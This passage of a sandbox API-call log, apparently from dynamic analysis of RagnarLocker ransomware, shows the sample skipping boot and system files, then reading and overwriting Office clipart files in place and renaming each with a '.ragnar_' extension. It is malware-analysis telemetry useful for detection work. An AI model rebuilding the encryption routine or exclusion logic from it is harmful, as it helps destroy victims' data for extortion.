lpString2="bootsect.bak") returned 1 [0080.751] lstrcmpiW (lpString1="CLASSIC2.WMF", lpString2="bootmgr") returned 1 [0080.751] lstrcmpiW (lpString1="CLASSIC2.WMF", lpString2="bootmgr.efi") returned 1 [0080.751] lstrcmpiW (lpString1="CLASSIC2.WMF", lpString2="bootmgfw.efi") returned 1 [0080.751] lstrcmpiW (lpString1="CLASSIC2.WMF", lpString2="desktop.ini") returned -1 [0080.751] lstrcmpiW (lpString1="CLASSIC2.WMF", lpString2="iconcache.db") returned -1 [0080.751] lstrcmpiW (lpString1="CLASSIC2.WMF", lpString2="ntldr") returned -1 [0080.751] lstrcmpiW (lpString1="CLASSIC2.WMF", lpString2="ntuser.dat") returned -1 [0080.751] lstrcmpiW (lpString1="CLASSIC2.WMF", lpString2="ntuser.dat.log") returned -1 [0080.751] lstrcmpiW (lpString1="CLASSIC2.WMF", lpString2="ntuser.ini") returned -1 [0080.751] lstrcmpiW (lpString1="CLASSIC2.WMF", lpString2="thumbs.db") returned -1 [0080.751] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.751] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.751] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.751] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.751] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.751] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.751] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf")) returned 0x20 [0080.752] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.752] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2262) returned 1 [0080.752] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8cd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.752] GetProcessHeap () returned 0x580000 [0080.753] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.753] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.754] VirtualAlloc (lpAddress=0x0, dwSize=0x8d6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.754] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.754] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.754] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8d6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8d6, lpOverlapped=0x0) returned 1 [0080.754] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.754] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8d6, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.755] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8d6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8d6, lpOverlapped=0x0) returned 1 [0080.755] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8d6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.755] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.755] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8d6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.755] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.755] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.755] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.755] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.755] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.755] GetProcessHeap () returned 0x580000 [0080.755] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.755] CloseHandle (hObject=0xf4) returned 1 [0080.755] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" [0080.755] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.ragnar_FD7BD9FC" [0080.756] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.756] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIP.WMF", cAlternateFileName="")) returned 1 [0080.756] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.756] lstrcpyW (in: lpString1=0x1eb62e, lpString2="CLIP.WMF" | out: lpString1="CLIP.WMF") returned="CLIP.WMF" [0080.756] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned=".WMF" [0080.756] lstrcmpiW (lpString1="CLIP.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.756] lstrcmpiW (lpString1="CLIP.WMF", lpString2="autorun.inf") returned 1 [0080.756] lstrcmpiW (lpString1="CLIP.WMF", lpString2="boot.ini") returned 1 [0080.756] lstrcmpiW (lpString1="CLIP.WMF", lpString2="bootfont.bin") returned 1 [0080.756] lstrcmpiW (lpString1="CLIP.WMF", lpString2="bootsect.bak") returned 1 [0080.756] lstrcmpiW (lpString1="CLIP.WMF", lpString2="bootmgr") returned 1 [0080.756] lstrcmpiW (lpString1="CLIP.WMF", lpString2="bootmgr.efi") returned 1 [0080.756] lstrcmpiW (lpString1="CLIP.WMF", lpString2="bootmgfw.efi") returned 1 [0080.757] lstrcmpiW (lpString1="CLIP.WMF", lpString2="desktop.ini") returned -1 [0080.757] lstrcmpiW (lpString1="CLIP.WMF", lpString2="iconcache.db") returned -1 [0080.757] lstrcmpiW (lpString1="CLIP.WMF", lpString2="ntldr") returned -1 [0080.757] lstrcmpiW (lpString1="CLIP.WMF", lpString2="ntuser.dat") returned -1 [0080.757] lstrcmpiW (lpString1="CLIP.WMF", lpString2="ntuser.dat.log") returned -1 [0080.757] lstrcmpiW (lpString1="CLIP.WMF", lpString2="ntuser.ini") returned -1 [0080.757] lstrcmpiW (lpString1="CLIP.WMF", lpString2="thumbs.db") returned -1 [0080.757] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.757] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.757] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.757] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.757] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.757] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.757] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf")) returned 0x20 [0080.758] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.758] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2262) returned 1 [0080.758] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8cd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.758] GetProcessHeap () returned 0x580000 [0080.758] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.758] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.760] VirtualAlloc (lpAddress=0x0, dwSize=0x8d6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.760] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.760] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.760] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8d6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8d6, lpOverlapped=0x0) returned 1 [0080.760] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.760] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8d6, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.760] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8d6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8d6, lpOverlapped=0x0) returned 1 [0080.760] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8d6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.760] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.760] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8d6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.760] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.761] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.761] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.761] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.761] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.761] GetProcessHeap () returned 0x580000 [0080.761] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.761] CloseHandle (hObject=0xf4) returned 1 [0080.761] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" [0080.761] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.ragnar_FD7BD9FC" [0080.761] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.762] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1b3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMNTY_01.MID", cAlternateFileName="")) returned 1 [0080.762] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.762] lstrcpyW (in: lpString1=0x1eb62e, lpString2="CMNTY_01.MID" | out: lpString1="CMNTY_01.MID") returned="CMNTY_01.MID" [0080.762] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned=".MID" [0080.762] lstrcmpiW (lpString1="CMNTY_01.MID", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.762] lstrcmpiW (lpString1="CMNTY_01.MID", lpString2="autorun.inf") returned 1 [0080.762] lstrcmpiW (lpString1="CMNTY_01.MID", lpString2="boot.ini") returned 1 [0080.762] lstrcmpiW (lpString1="CMNTY_01.MID", lpString2="bootfont.bin") returned 1 [0080.762] lstrcmpiW (lpString1="CMNTY_01.MID", lpString2="bootsect.bak") returned 1 [0080.762] lstrcmpiW (lpString1="CMNTY_01.MID", lpString2="bootmgr") returned 1 [0080.762] lstrcmpiW (lpString1="CMNTY_01.MID", lpString2="bootmgr.efi") returned 1 [0080.762] lstrcmpiW (lpString1="CMNTY_01.MID", lpString2="bootmgfw.efi") returned 1 [0080.762] lstrcmpiW (lpString1="CMNTY_01.MID", lpString2="desktop.ini") returned -1 [0080.762] lstrcmpiW (lpString1="CMNTY_01.MID", lpString2="iconcache.db") returned -1 [0080.762] lstrcmpiW (lpString1="CMNTY_01.MID", lpString2="ntldr") returned -1 [0080.762] lstrcmpiW (lpString1="CMNTY_01.MID", lpString2="ntuser.dat") returned -1 [0080.762] lstrcmpiW (lpString1="CMNTY_01.MID", lpString2="ntuser.dat.log") returned -1 [0080.762] lstrcmpiW (lpString1="CMNTY_01.MID", lpString2="ntuser.ini") returned -1 [0080.762] lstrcmpiW (lpString1="CMNTY_01.MID", lpString2="thumbs.db") returned -1 [0080.762] lstrcmpiW (lpString1=".MID", lpString2=".db") returned 1 [0080.762] lstrcmpiW (lpString1=".MID", lpString2=".sys") returned -1 [0080.762] lstrcmpiW (lpString1=".MID", lpString2=".dll") returned 1 [0080.762] lstrcmpiW (lpString1=".MID", lpString2=".lnk") returned 1 [0080.762] lstrcmpiW (lpString1=".MID", lpString2=".msi") returned -1 [0080.762] lstrcmpiW (lpString1=".MID", lpString2=".drv") returned 1 [0080.762] lstrcmpiW (lpString1=".MID", lpString2=".exe") returned 1 [0080.762] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid")) returned 0x20 [0080.763] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.763] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6970) returned 1 [0080.763] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b31, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.763] GetProcessHeap () returned 0x580000 [0080.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.763] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.764] VirtualAlloc (lpAddress=0x0, dwSize=0x1b3a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.765] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.765] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.765] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1b3a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1b3a, lpOverlapped=0x0) returned 1 [0080.765] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.765] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b3a, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.766] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1b3a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1b3a, lpOverlapped=0x0) returned 1 [0080.766] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b3a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.766] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.766] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b3a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.766] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.766] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.766] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.766] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.766] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.766] GetProcessHeap () returned 0x580000 [0080.766] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.766] CloseHandle (hObject=0xf4) returned 1 [0080.766] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" [0080.767] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.ragnar_FD7BD9FC" [0080.767] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.767] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51d0f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0x1496, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRANE.WMF", cAlternateFileName="")) returned 1 [0080.767] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.767] lstrcpyW (in: lpString1=0x1eb62e, lpString2="CRANE.WMF" | out: lpString1="CRANE.WMF") returned="CRANE.WMF" [0080.767] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned=".WMF" [0080.767] lstrcmpiW (lpString1="CRANE.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.767] lstrcmpiW (lpString1="CRANE.WMF", lpString2="autorun.inf") returned 1 [0080.767] lstrcmpiW (lpString1="CRANE.WMF", lpString2="boot.ini") returned 1 [0080.767] lstrcmpiW (lpString1="CRANE.WMF", lpString2="bootfont.bin") returned 1 [0080.767] lstrcmpiW (lpString1="CRANE.WMF", lpString2="bootsect.bak") returned 1 [0080.767] lstrcmpiW (lpString1="CRANE.WMF", lpString2="bootmgr") returned 1 [0080.767] lstrcmpiW (lpString1="CRANE.WMF", lpString2="bootmgr.efi") returned 1 [0080.767] lstrcmpiW (lpString1="CRANE.WMF", lpString2="bootmgfw.efi") returned 1 [0080.767] lstrcmpiW (lpString1="CRANE.WMF", lpString2="desktop.ini") returned -1 [0080.767] lstrcmpiW (lpString1="CRANE.WMF", lpString2="iconcache.db") returned -1 [0080.767] lstrcmpiW (lpString1="CRANE.WMF", lpString2="ntldr") returned -1 [0080.767] lstrcmpiW (lpString1="CRANE.WMF", lpString2="ntuser.dat") returned -1 [0080.768] lstrcmpiW (lpString1="CRANE.WMF", lpString2="ntuser.dat.log") returned -1 [0080.768] lstrcmpiW (lpString1="CRANE.WMF", lpString2="ntuser.ini") returned -1 [0080.768] lstrcmpiW (lpString1="CRANE.WMF", 